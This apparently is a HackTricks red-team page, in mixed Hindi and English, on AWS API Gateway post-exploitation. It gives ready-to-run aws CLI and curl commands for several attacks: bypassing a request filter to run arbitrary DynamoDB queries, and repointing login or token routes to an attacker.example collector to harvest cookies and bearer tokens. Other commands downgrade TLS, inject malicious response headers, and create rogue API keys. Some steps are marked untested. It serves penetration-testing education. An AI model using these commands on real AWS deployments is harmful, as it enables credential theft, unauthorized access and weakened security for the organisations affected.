AWS - API Gateway Post Exploitation

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

API Gateway

अधिक जानकारी के लिए देखें:

AWS - API Gateway Enum

प्रदर्शित नहीं किए गए APIs तक पहुँच

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.

Bypass Request body passthrough

यह तकनीक this CTF writeup में पायी गयी थी।

As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

हालाँकि, Content-type: text/json के साथ request भेजने से वह फ़िल्टर अप्रभावी हो जाएगा।

अंततः, चूँकि API Gateway केवल Get और Options की अनुमति दे रहा था, इसलिए बॉडी में क्वेरी डालकर और हेडर X-HTTP-Method-Override: GET का उपयोग करके बिना किसी सीमा के मनमाना dynamoDB query भेजना संभव था:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

उपयोग योजना DoS

Enumeration सेक्शन में आप देख सकते हैं कि उपयोग योजना कैसे प्राप्त करें keys की। अगर आपके पास key है और वह सीमित है प्रति महीने X उपयोगों तक, तो आप बस इसे इस्तेमाल करके DoS उत्पन्न कर सकते हैं

API Key को बस HTTP header जिसे x-api-key कहा जाता है के अंदर शामिल करना होता है।

रूट इंटीग्रेशन को Exfil ट्रैफ़िक के लिए बदलें (HTTP APIs / apigatewayv2)

यदि आप किसी HTTP API integration को अपडेट कर सकते हैं, तो आप एक संवेदनशील route (जैसे /login, /token, /submit) को attacker-controlled HTTP endpoint की ओर repoint करके चुपचाप collect headers and bodies कर सकते हैं (cookies, Authorization bearer tokens, session ids, API keys, internal jobs द्वारा भेजे गए secrets, आदि)।

उदाहरण वर्कफ़्लो:

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

नोट्स:

  • HTTP APIs के लिए, परिवर्तन आम तौर पर तुरंत लागू हो जाते हैं (REST APIs के विपरीत जहाँ आपको आम तौर पर एक deployment बनानी पड़ती है)।
  • किसी भी arbitrary URL की ओर पॉइंट कर पाने की क्षमता integration type/config पर निर्भर करती है; कुछ मामलों में आप patch करते समय integration type भी बदल सकते हैं।

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

एक attacker जिसके पास permissions apigateway:UpdateGatewayResponse और apigateway:CreateDeployment हों, वह मौजूदा Gateway Response को संशोधित कर सकता है ताकि उसमें custom headers या response templates शामिल किए जा सकें जो संवेदनशील जानकारी को leak करें या malicious scripts को execute करें

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: Leakage of sensitive information, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक अनधिकृत पहुँच।

Note

परीक्षण की आवश्यकता

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStage और apigateway:CreateDeployment अनुमतियों वाला एक हमलावर मौजूदा API Gateway stage को संशोधित करके ट्रैफ़िक को किसी अन्य stage पर रीडायरेक्ट कर सकता है या कैशिंग सेटिंग्स बदलकर कैश किए गए डेटा तक अनधिकृत पहुँच प्राप्त कर सकता है।

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: कैश्ड डेटा तक अनधिकृत पहुँच, API ट्रैफ़िक का व्यवधान या इंटरसेप्ट करना।

Note

परीक्षण आवश्यक

apigateway:PutMethodResponse, apigateway:CreateDeployment

An attacker with the permissions apigateway:PutMethodResponse and apigateway:CreateDeployment can मौजूदा API Gateway REST API method के method response को संशोधित करके custom headers या response templates शामिल कर सकता है जो संवेदनशील जानकारी को leak कर सकते हैं या दुर्भावनापूर्ण स्क्रिप्ट्स निष्पादित कर सकते हैं

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: Leakage of sensitive information, malicious scripts का निष्पादन, या API resources तक अनधिकृत पहुँच।

Note

परीक्षण की आवश्यकता

apigateway:UpdateRestApi, apigateway:CreateDeployment

जो हमलावर के पास अनुमतियाँ apigateway:UpdateRestApi और apigateway:CreateDeployment हैं, वह API Gateway REST API सेटिंग्स को संशोधित कर लॉगिंग को disable कर सकता है या minimum TLS version बदल सकता है, जिससे संभावित रूप से API की सुरक्षा कमजोर हो सकती है

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: API की सुरक्षा कमजोर होना, संभावित रूप से अनधिकृत पहुँच की अनुमति देना या संवेदनशील जानकारी का प्रकटीकरण।

Note

परीक्षण की आवश्यकता

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

एक हमलावर जिसके पास permissions apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, और apigateway:CreateUsagePlanKey हों, वह नए API keys बना सकता है, उन्हें usage plans के साथ जोड़ सकता है, और फिर इन keys का उपयोग APIs तक अनधिकृत पहुँच के लिए कर सकता है

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

संभावित प्रभाव: API resources तक अनधिकृत पहुँच, सुरक्षा नियंत्रणों को बायपास करना।

Note

परीक्षण आवश्यक

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें